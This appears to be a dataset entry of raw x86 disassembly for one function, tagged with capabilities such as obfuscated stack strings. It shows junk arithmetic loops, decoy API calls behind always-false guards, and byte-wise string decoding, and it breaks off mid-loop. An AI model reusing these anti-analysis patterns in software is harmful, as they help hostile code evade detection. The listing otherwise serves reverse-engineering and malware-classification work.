Function at 0x40d8ff
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bd801
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x2d4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x15c], 0x2a13
mov dword [ebp - 0x238], str.ganmsko_kts_puxnfzim_yeyzj_mogzr_sbaekwgik_uuijv_jxrhr_ztjcfbqlp_badsv_kmokslkkb_pjvvl_dkzhk_wtsi
cmp dword [ebp - 0x15c], 0x2a6c
jle 0x40da02
and dword [ebp - 0xb0], 0
jmp 0x40d95e
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x4553
jge 0x40da02
and dword [ebp - 0x28], 0
jmp 0x40d97b
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x2575
jge 0x40d9fd
and dword [ebp - 0xd4], 0
jmp 0x40d99a
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x517c
jge 0x40d9f8
and dword [ebp - 0x80], 0
jmp 0x40d9b3
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x5ecf
jge 0x40d9f6
mov eax, dword [ebp - 0xd4]
cdq
idiv dword [ebp - 0x80]
add edx, dword [ebp - 0x28]
and edx, dword [ebp - 0xb0]
mov eax, edx
cdq
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], edx
push dword [ebp - 0x1f4]
push dword [ebp - 0x1f8]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40d9ac
jmp 0x40d98d
jmp 0x40d974
jmp 0x40d951
cmp dword [0xac00cc], 0
jne 0x40e9b5
mov dword [ebp - 0x178], 0x701
mov dword [ebp - 0x228], str.nyhikbuhr_cuggsg_fyuctzlw
cmp dword [ebp - 0x178], 0x9bb
jle 0x40daf9
and dword [ebp - 0x30], 0
jmp 0x40da40
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x3d3
jge 0x40dabd
and dword [ebp - 0x88], 0
jmp 0x40da5f
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x78e3
jge 0x40dab8
and dword [ebp - 0x38], 0
jmp 0x40da78
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x406a
jge 0x40dab6
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x88]
cdq
idiv dword [ebp - 0x38]
mov eax, edx
cdq
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], edx
push dword [ebp - 0x21c]
push dword [ebp - 0x220]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40da71
jmp 0x40da52
jmp 0x40da39
push 0x675
push 0x32c
push 0x1e73
push 0x1e94
push 0x1e51
push 0x39e
push 0x208b
push 0x1982
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov byte [ebp - 0xfc], 2
mov byte [ebp - 0xfb], 0x73
mov byte [ebp - 0xfa], 9
mov byte [ebp - 0xf9], 0x67
mov byte [ebp - 0xf8], 6
mov byte [ebp - 0xf7], 0x38
mov byte [ebp - 0xf6], 0x10
mov byte [ebp - 0xf5], 0x42
mov byte [ebp - 0xf4], 0xf8
mov byte [ebp - 0xf3], 0x39
mov byte [ebp - 0xf2], 0x3a
mov byte [ebp - 0xf1], 0x18
mov byte [ebp - 0xf0], 0x4f
mov byte [ebp - 0xef], 0xe4
mov byte [ebp - 0xee], 0x66
mov byte [ebp - 0xed], 0x4e
mov byte [ebp - 0xec], 0xbf
mov byte [ebp - 0xeb], 0x99
mov byte [ebp - 0xea], 0x75
mov byte [ebp - 0xe9], 0xd7
mov byte [ebp - 0xe8], 0x42
mov byte [ebp - 0xe7], 0xfc
mov byte [ebp - 0xe6], 4
mov byte [ebp - 0xe5], 0x6c
mov byte [ebp - 0xe4], 0
mov byte [ebp - 0xe3], 0x54
mov byte [ebp - 0xe2], 8
mov byte [ebp - 0xe1], 0x39
mov byte [ebp - 0xe0], 0xb
mov byte [ebp - 0xdf], 0x79
mov byte [ebp - 0xde], 5
mov byte [ebp - 0xdd], 0x7b
mov byte [ebp - 0xdc], 1
mov byte [ebp - 0xdb], 0x76
mov byte [ebp - 0xda], 7
mov byte [ebp - 0xd9], 0x45
mov byte [ebp - 0xd8], 3
mov byte [ebp - 0xd7], 0x83
mov byte [ebp - 0xd6], 0xa
mov byte [ebp - 0xd5], 0x83
mov dword [ebp - 0x144], 0x65d0
mov dword [ebp - 0x194], str.yoi_cmbw_oikm_ewmuxt_kidpifp_oqozukdk
cmp dword [ebp - 0x144], 0x6827
jle 0x40dcb7
push 0x217b
push 0
push 0x1642
push 0x139d
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
and dword [ebp - 0xc8], 0
jmp 0x40dc62
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x35bf
jge 0x40dcb7
and dword [ebp - 0x40], 0
jmp 0x40dc7b
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x17c6
jge 0x40dcb5
mov eax, dword [ebp - 0xc8]
cdq
idiv dword [ebp - 0x40]
mov eax, edx
cdq
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], edx
push dword [ebp - 0x204]
push dword [ebp - 0x208]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40dc74
jmp 0x40dc55
and dword [ebp - 0x14], 0
and dword [ebp - 0x168], 0
jmp 0x40dccc
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x28
jae 0x40e084
mov dword [ebp - 0x184], 0x5aba
mov dword [ebp - 0x240], str.joteragiu_cqtz_gmobqkp_yiv_fgqyi_ahxbq_yakwyoyr_bgbku_mmoqwy_ocyh_bcgpl_cmlrg_zswkxz_yrjy
cmp dword [ebp - 0x184], 0x5c62
jle 0x40ddab
and dword [ebp - 0x90], 0
jmp 0x40dd10
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x4153
jge 0x40dd90
and dword [ebp - 0x48], 0
jmp 0x40dd29
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x574
jge 0x40dd8b
and dword [ebp - 0xb8], 0
jmp 0x40dd48
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x32c4
jge 0x40dd89
mov eax, dword [ebp - 0x90]
imul eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0xb8]
cdq
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], edx
push dword [ebp - 0x18c]
push dword [ebp - 0x190]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40dd3b
jmp 0x40dd22
jmp 0x40dd03
push 0x69
push 0x95c
push 0xf7a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xfc]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x40df20
mov dword [ebp - 0x168], 0x10
mov dword [ebp - 0x150], 0x5ece
mov dword [ebp - 0x1d0], str.nfetjaix_wwmnchlwc_gght_rvvbcu_helrect_snpcwb_ubvtcsad_qhqktbwz_gxm_eid_yznig_vzxqoohh_ewvl_tjhzb
cmp dword [ebp - 0x150], 0x5f93
jle 0x40ded0
and dword [ebp - 0x58], 0
jmp 0x40de01
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x6072
jge 0x40ded0
and dword [ebp - 0x50], 0
jmp 0x40de1b
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x378b
jge 0x40decb
and dword [ebp - 0x98], 0
jmp 0x40de3e
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x5306
jge 0x40dec6
and dword [ebp - 0xd0], 0
jmp 0x40de60
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xc74
jge 0x40dec1
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x98]
sar eax, cl
or eax, dword [ebp - 0x58]
or eax, dword [ebp - 0xd0]
cdq
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x198], edx
push dword [ebp - 0x198]
push dword [ebp - 0x19c]
lea ecx, [ebp - 0x2e4]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x2e4]
call fcn.0040304b
jmp 0x40de53
jmp 0x40de31
jmp 0x40de14
jmp 0x40ddfa
mov eax, dword [ebp - 0x14]
add eax, 0xe
mov dword [ebp - 0x14], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x150], 0x5d53
jge 0x40def5
push dword [ebp - 0x1d0]
call fcn.00491288
pop ecx
jmp 0x40df11
or dword [ebp - 4], 0xffffffff
jmp 0x40df1b
jmp 0x40dcc4
mov dword [ebp - 4], 2
cmp dword [ebp - 0x184], 0x590c
jge 0x40df43
mov edx, dword [ebp - 0x240]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40df5f
or dword [ebp - 4], 0xffffffff
jmp 0x40df69
mov dword [ebp - 0x17c], 0xd91
mov dword [ebp - 0x23c], str.rebfu_wim_brzqy_ccphks_afdzrk_bqsbggadb_txkokebfa
cmp dword [ebp - 0x17c], 0xde8
jle 0x40dff1
and dword [ebp - 0x60], 0
jmp 0x40df96
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x3ed6
jge 0x40dff1
and dword [ebp - 0xa0], 0
jmp 0x40dfb5
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x4882
jge 0x40dfef
mov eax, dword [ebp - 0x60]
xor eax, dword [ebp - 0xa0]
cdq
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], edx
push dword [ebp - 0x1a4]
push dword [ebp - 0x1a8]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40dfa8
jmp 0x40df8f
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0xfb]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x168]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x68], eax
mov dword [ebp - 4], 4
cmp dword [ebp - 0x17c], 0xae2
jge 0x40e02f
mov edx, dword [ebp - 0x23c]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40e04b
or dword [ebp - 4], 0xffffffff
jmp 0x40e055
cmp dword [ebp - 0x68], 0
jge 0x40e068
mov eax, dword [ebp - 0x68]
add eax, 0x100
mov dword [ebp - 0x68], eax
jmp 0x40e055
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0xfc]
mov cx, word [ebp - 0x68]
mov word [ebp + eax*2 - 0x26c], cx
jmp 0x40dcc4
mov dword [ebp - 4], 6
cmp dword [ebp - 0x144], 0x61f4
jge 0x40e0a7
mov edx, dword [ebp - 0x194]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40e0c3
or dword [ebp - 4], 0xffffffff
jmp 0x40e0cd
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0x26c], cx
mov dword [ebp - 4], 8
cmp dword [ebp - 0x178], 0x363
jge 0x40e100
mov edx, dword [ebp - 0x228]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40e11c
or dword [ebp - 4], 0xffffffff
jmp 0x40e126
mov dword [ebp - 0x158], 0x49d1
mov dword [ebp - 0x1a0], str.nbb_xnlzv_mdpwrxml
cmp dword [ebp - 0x158], 0x4ac6
jle 0x40e1e0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [ebp - 0xc0], 0
jmp 0x40e166
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x3163
jge 0x40e1b8
and dword [ebp - 0x70], 0
jmp 0x40e17f
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x33ea
jge 0x40e1b6
mov eax, dword [ebp - 0xc0]
and eax, dword [ebp - 0x70]
cdq
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], edx
push dword [ebp - 0x1b0]
push dword [ebp - 0x1b4]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40e178
jmp 0x40e159
push 0x22ce
push 0xcc9
push 0x261c
push 0x1b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x2b4]
call fcn.0042b9e2
push eax
call fcn.004074cf
pop ecx
mov dword [ebp - 0x154], eax
lea ecx, [ebp - 0x2b4]
call fcn.004030da
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x158], 0x475f
jge 0x40e22d
mov edx, dword [ebp - 0x1a0]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40e249
or dword [ebp - 4], 0xffffffff
jmp 0x40e253
and dword [ebp - 0xa8], 0
jmp 0x40e269
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xd
jae 0x40e284
xor eax, eax
mov ecx, dword [ebp - 0xa8]
mov word [ebp + ecx*2 - 0x26c], ax
jmp 0x40e25c
cmp dword [ebp - 0x154], 0
je 0x40e9b5
mov byte [ebp - 0x140], 5
mov byte [ebp - 0x13f], 0x70
mov byte [ebp - 0x13e], 9
mov byte [ebp - 0x13d], 0x67
mov byte [ebp - 0x13c], 0
mov byte [ebp - 0x13b], 0x4c
mov byte [ebp - 0x13a], 2
mov byte [ebp - 0x139], 0x7b
mov byte [ebp - 0x138], 7
mov byte [ebp - 0x137], 0x4a
mov byte [ebp - 0x136], 0xd
mov byte [ebp - 0x135], 0x7e
mov byte [ebp - 0x134], 0x26
mov byte [ebp - 0x133], 0xfc
mov byte [ebp - 0x132], 0xf0
mov byte [ebp - 0x131], 9
mov byte [ebp - 0x130], 0xc
mov byte [ebp - 0x12f], 0x8b
mov byte [ebp - 0x12e], 0x25
mov byte [ebp - 0x12d], 5
mov byte [ebp - 0x12c], 0x8a
mov byte [ebp - 0x12b], 0xfb
mov byte [ebp - 0x12a], 0x5d
mov byte [ebp - 0x129], 0xa
mov byte [ebp - 0x128], 0xbd
mov byte [ebp - 0x127], 0xe3
mov byte [ebp - 0x126], 0x60
mov byte [ebp - 0x125], 0xa
mov byte [ebp - 0x124], 0xd7
mov byte [ebp - 0x123], 0x7e
mov byte [ebp - 0x122], 0xf
mov byte [ebp - 0x121], 0xba
mov byte [ebp - 0x120], 0xd3
mov byte [ebp - 0x11f], 0xaf
mov byte [ebp - 0x11e], 0x54
mov byte [ebp - 0x11d], 0xab
mov byte [ebp - 0x11c], 6
mov byte [ebp - 0x11b], 0x42
mov byte [ebp - 0x11a], 0x55
mov byte [ebp - 0x119], 0xb6
mov byte [ebp - 0x118], 0xf7
mov byte [ebp - 0x117], 0x75
mov byte [ebp - 0x116], 0xed
mov byte [ebp - 0x115], 0x9e
mov byte [ebp - 0x114], 0x70
mov byte [ebp - 0x113], 0xb7
mov byte [ebp - 0x112], 0x5c
mov byte [ebp - 0x111], 0xf1
mov byte [ebp - 0x110], 0xd5
mov byte [ebp - 0x10f], 0xaf
mov byte [ebp - 0x10e], 3
mov byte [ebp - 0x10d], 0x5d
mov byte [ebp - 0x10c], 6
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0xc
mov byte [ebp - 0x109], 0x84
mov byte [ebp - 0x108], 1
mov byte [ebp - 0x107], 0x78
mov byte [ebp - 0x106], 4
mov byte [ebp - 0x105], 0x87
mov byte [ebp - 0x104], 0xa
mov byte [ebp - 0x103], 0x89
mov byte [ebp - 0x102], 0xb
mov byte [ebp - 0x101], 0x7e
mov byte [ebp - 0x100], 8
mov byte [ebp - 0xff], 0x7f
mov dword [ebp - 0x180], 0x6c48
mov dword [ebp - 0x1ac], str.tluc_mdpmlezpg_iybk
cmp dword [ebp - 0x180], 0x6d90
jle 0x40e527
push 0
push 0
push 0x561
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
and dword [ebp - 0x24], 0
jmp 0x40e49f
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x3a4
jge 0x40e527
and dword [ebp - 0x78], 0
jmp 0x40e4b5
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x63a5
jge 0x40e522
and dword [ebp - 0x1c], 0
jmp 0x40e4cb
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x725
jge 0x40e520
and dword [ebp - 0x20], 0
jmp 0x40e4e1
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x5a4a
jge 0x40e51e
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x1c]
add edx, dword [ebp - 0x20]
and edx, dword [ebp - 0x24]
mov eax, edx
cdq
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], edx
push dword [ebp - 0x1bc]
push dword [ebp - 0x1c0]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40e4da
jmp 0x40e4c4
jmp 0x40e4ae
jmp 0x40e498
and dword [ebp - 0x18], 0
and dword [ebp - 0x170], 0
jmp 0x40e53c
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x42
jae 0x40e6dc
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x140]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x40e572
mov dword [ebp - 0x170], 0x26
mov eax, dword [ebp - 0x18]
add eax, 0x24
mov dword [ebp - 0x18], eax
jmp 0x40e534
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x13f]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x170]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jge 0x40e5a0
mov eax, dword [ebp - 0x4c]
add eax, 0x100
mov dword [ebp - 0x4c], eax
jmp 0x40e58d
mov dword [ebp - 0x160], 0x4f7c
mov dword [ebp - 0x214], str.dlspyngdv_zidtqgciq_evodx_pnllyxl_cxtmivc_dzk_odqhx_gry_vtsrflydo_skxwckpm_mnholi
cmp dword [ebp - 0x160], 0x510e
jle 0x40e67d
and dword [ebp - 0x44], 0
jmp 0x40e5d1
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x5827
jge 0x40e67d
and dword [ebp - 0x3c], 0
jmp 0x40e5eb
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x1f09
jge 0x40e678
and dword [ebp - 0x2c], 0
jmp 0x40e605
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x2de2
jge 0x40e673
and dword [ebp - 0x34], 0
jmp 0x40e61b
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x1049
jge 0x40e671
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
xor eax, dword [ebp - 0x3c]
or eax, dword [ebp - 0x44]
cdq
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], edx
push dword [ebp - 0x1c8]
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x2cc]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x2cc]
call fcn.0040304b
jmp 0x40e614
jmp 0x40e5fe
jmp 0x40e5e4
jmp 0x40e5ca
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x140]
mov cl, byte [ebp - 0x4c]
mov byte [ebp + eax - 0x250], cl
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x160], 0x4d39
jge 0x40e6b1
push dword [ebp - 0x214]
call fcn.00491288
pop ecx
jmp 0x40e6cd
or dword [ebp - 4], 0xffffffff
jmp 0x40e6d7
jmp 0x40e534
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x180], 0x6b2c
jge 0x40e6ff
mov edx, dword [ebp - 0x1ac]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40e71b
or dword [ebp - 4], 0xffffffff
jmp 0x40e725
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x250], 0
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x284]
call fcn.0042ba12
mov dword [ebp - 0x14c], 0x451d
mov dword [ebp - 0x1b8], str.quhnpnz_eygtryyu_zhvtvtlu_jmwwli_wbks_xqblgn_zsuidbww_rcsxji
cmp dword [ebp - 0x14c], 0x461a
jle 0x40e7da
and dword [ebp - 0x64], 0
jmp 0x40e772
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x614d
jge 0x40e7da
and dword [ebp - 0x54], 0
jmp 0x40e788
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x2bee
jge 0x40e7d8
and dword [ebp - 0x5c], 0
jmp 0x40e79e
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x83d
jge 0x40e7d6
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x64]
cdq
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], edx
push dword [ebp - 0x1d4]
push dword [ebp - 0x1d8]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40e797
jmp 0x40e781
jmp 0x40e76b
and dword [ebp - 0x8c], 0
jmp 0x40e7f0
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0xf
jae 0x40e943
mov dword [ebp - 0x148], 0x43f0
mov dword [ebp - 0x230], str.krg_ikufhpu_ptlvpy_puwxp_wkuc_oakvhx
cmp dword [ebp - 0x148], 0x4506
jle 0x40e8e7
push 0
push 0
push 0
push 0
push 0xe11
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
and dword [ebp - 0x6c], 0
jmp 0x40e84b
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x6acb
jge 0x40e8e7
and dword [ebp - 0x74], 0
jmp 0x40e865
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x69d6
jge 0x40e8e2
and dword [ebp - 0x7c], 0
jmp 0x40e87b
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x3a43
jge 0x40e8dd
and dword [ebp - 0x84], 0
jmp 0x40e89a
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x602
jge 0x40e8db
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x74]
sub eax, dword [ebp - 0x7c]
sub eax, dword [ebp - 0x84]
cdq
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], edx
push dword [ebp - 0x1e0]
push dword [ebp - 0x1e4]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40e88d
jmp 0x40e874
jmp 0x40e85e
jmp 0x40e844
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0x250], 0
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x148], 0x4345
jge 0x40e918
mov edx, dword [ebp - 0x230]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40e934
or dword [ebp - 4], 0xffffffff
jmp 0x40e93e
jmp 0x40e7e3
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x14c], 0x42c0
jge 0x40e966
mov edx, dword [ebp - 0x1b8]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40e982
or dword [ebp - 4], 0xffffffff
jmp 0x40e98c
push 1
push 0
lea eax, [ebp - 0x284]
push eax
push dword [ebp - 0x154]
call fcn.0040ed9b
add esp, 0x10
mov dword [0xac00cc], eax
lea ecx, [ebp - 0x284]
call fcn.00403202
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x15c], 0x26e4
jge 0x40e9d8
mov edx, dword [ebp - 0x238]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40e9f4
or dword [ebp - 4], 0xffffffff
jmp 0x40e9fe
mov dword [ebp - 0x174], 0x6f81
mov dword [ebp - 0x218], str.yjwwdcoyh_cvswxv_euby_zkhyd_uic_zxztcbpzz_bztymygnq_zhp_mlnrqldkg_ufpf_ihhdcm
cmp dword [ebp - 0x174], 0x7009
jle 0x40ead4
and dword [ebp - 0x94], 0
jmp 0x40ea38
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0xa31
jge 0x40eace
and dword [ebp - 0x9c], 0
jmp 0x40ea5e
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x345e
jge 0x40eac9
and dword [ebp - 0xa4], 0
jmp 0x40ea80
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x40ba
jge 0x40eac7
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x9c]
sar eax, cl
mov ecx, dword [ebp - 0xa4]
sar eax, cl
cdq
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], edx
push dword [ebp - 0x1ec]
push dword [ebp - 0x1f0]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40ea73
jmp 0x40ea51
jmp 0x40ea2b
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
cmp dword [0xac00cc], 0
je 0x40ed3d
mov dword [ebp - 0x164], 0x39b9
mov dword [ebp - 0x1c4], str.icviicjw_rfmtfj_sfphqw_mkvyuylnv_nnd_skiyjvopx_icvxzzekx_obejodau
cmp dword [ebp - 0x164], 0x3c86
jle 0x40ebcc
and dword [ebp - 0xac], 0
jmp 0x40eb1b
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xa81
jge 0x40ebcc
and dword [ebp - 0xb4], 0
jmp 0x40eb41
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x11c
jge 0x40ebc7
and dword [ebp - 0xbc], 0
jmp 0x40eb63
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x6d57
jge 0x40ebc2
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0xb4]
sub eax, dword [ebp - 0xbc]
cdq
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], edx
push dword [ebp - 0x1fc]
push dword [ebp - 0x200]
lea ecx, [ebp - 0x29c]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x29c]
call fcn.0040304b
jmp 0x40eb56
jmp 0x40eb34
jmp 0x40eb0e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x224], eax
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x164], 0x35d8
jge 0x40ebf4
push dword [ebp - 0x1c4]
call fcn.00491288
pop ecx
jmp 0x40ec10
or dword [ebp - 4], 0xffffffff
jmp 0x40ec1a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x16c], 0x53e
mov dword [ebp - 0x234], str.jzpkajggs_nphiytor_vhhl_hpuh_zkn_kuqc_cgeqotfav_orfv_sypwznw_qntuccu_nzowsabdd_iuf_gucb
cmp dword [ebp - 0x16c], 0x5b9
jle 0x40ecc8
and dword [ebp - 0xc4], 0
jmp 0x40ec65
mov eax, dword [ebp - 0xc4]
inc eax
